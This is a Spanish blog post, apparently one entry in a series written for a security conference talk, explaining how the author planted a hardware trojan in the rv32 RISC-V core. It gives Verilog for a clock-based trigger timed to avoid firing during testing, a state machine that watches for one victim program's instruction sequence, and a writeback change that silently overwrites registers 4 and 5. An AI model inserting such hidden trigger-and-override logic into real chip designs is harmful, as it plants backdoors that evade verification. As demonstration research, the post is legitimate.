Los componentes del ataque
Propagación de la instrucción por todo el pipeline
rv32 implementa un pipeline clásico de 5 stages según el autor y cita de una a la wikipedia.
En uno de esos stages hay que detectar la ejecución de las instrucciones interesantes y en otro hacer la modificación. Para ello tuve que, aprovechando la infraestructura de verificación formal, propagar la instrucción a todo el pipeline. Esto es por que en fetch y decode existe la instrucción, pero luego desaparece, no hace falta.
Propagación de la instrucción a todo el pipeline |
Las señales prefijadas con "`" son las agregadas.
Extracción de señal del RTC
A la interfaz agregué:
output attack_rtc_enable,
y luego:
assign attack_rtc_enable = secondsHi[1];
Esto significa que cuando el bit de valor 2 del dígito de las decenas de segundo esté prendido, o sea 2 a 3 y 5 (segundos 20 a 39, 50 a 59), el ataque estará habilitado desde el punto de vista del tiempo.
Esta restricción temporal existe para disminuir las probabilidades de que se active durante una etapa de testeo. En un escenario realista, sería un combinacional tipo
assign attack_rtc_enable = hours[3] && minutesLo[3] && secondsHi[1];
Para que el ataque esté activo cuando lleve encendido 8 a 15 horas, en el minuto 04, 14, 24, 34, 44, 54 (creo) y los segundos con los que veníamos.
FSM en el stage de writeback detector de la secuencia de interés
Nada especial, una FSM de 8 estados, pude haber usado menos quizás, tomando estos valores:
localparam
instr_0 = 32'hfef400a3, // sb a5,-31(s0)
instr_1 = 32'hfe244703, // lbu a4,-30(s0)
instr_2 = 32'h00800793, // li a5,8
instr_3 = 32'h02f71a63, // bne a4,a5,30c <main+0x218>
instr_4 = 32'hfe144703, // lbu a4,-31(s0)
instr_5 = 32'h00100793, // li a5,1
instr_6 = 32'h02f71063; // bne a4,a5,304 <main+0x210>
if (instr_in == instr_3) begin // bne a4,a5,30c <main+0x218>
attack_state <= waiting_instr_4;
attack_seq_enable <= 1;
end else begin
attack_state <= waiting_instr_0;
attack_seq_enable <= 0;
end
Modificador de registros en regs según condiciones
Pasé de:
if (!writeback_flush_in && rd_write_in && |rd_in)
regs[rd_in] <= rd_value_in;
que dice que si no se está flusheando el pipeline que ponga en el registro apuntado por rd_in el valor en rd_value_in.
Pasé a, decía:
if (!writeback_flush_in && rd_write_in && |rd_in)
if (attack_seq_enable && attack_rtc_enable) begin
regs[4] <= rd_value_in;
regs[5] <= rd_value_in;
end else begin
regs[rd_in] <= rd_value_in;
end
Que dice que si se detectó la secuencia y es la hora apropiada, ponga en los registros 4 y 5 el valor en rd_value_in.
No pude hacer que funcione asignando sólamente a5 <= 1, me parece recordar que tenía que poner una lógica toda complicada, así resultó ser lo más sencillo.
Conexionado
No merece una sección aparte, pero obviamente tuve que agregar todo el cableado pasando por las interfaces. Esto es por que no encontré rápido, es más, me parece que al menos con las tools que usé no es factible saltearse las interfaces y conectar directamente los componentes. De esto tengo ideas, pero eso lo veremos en "the missing pieces".
- H4CK3D 2021: configuración básica
- H4CK3D 2021: leyendo los botones de la placa
- H4CK3D 2021: un desvío necesario
- H4CK3D 2021: un desvío innecesario
- H4CK3D 2021: sigue el desvío, para bien
- H4CK3D 2021: cambios al Makefile
- H4CK3D 2021: mejor resolución de dependencias en Makefile
- H4CK3D 2021: el escenario y el programa víctima
- H4CK3D 2021: el ataque concreto
- the missing pieces
- La charla con la demo
- El código fuente del SOC mejorado
- El código fuente del ataque
No hay comentarios:
Publicar un comentario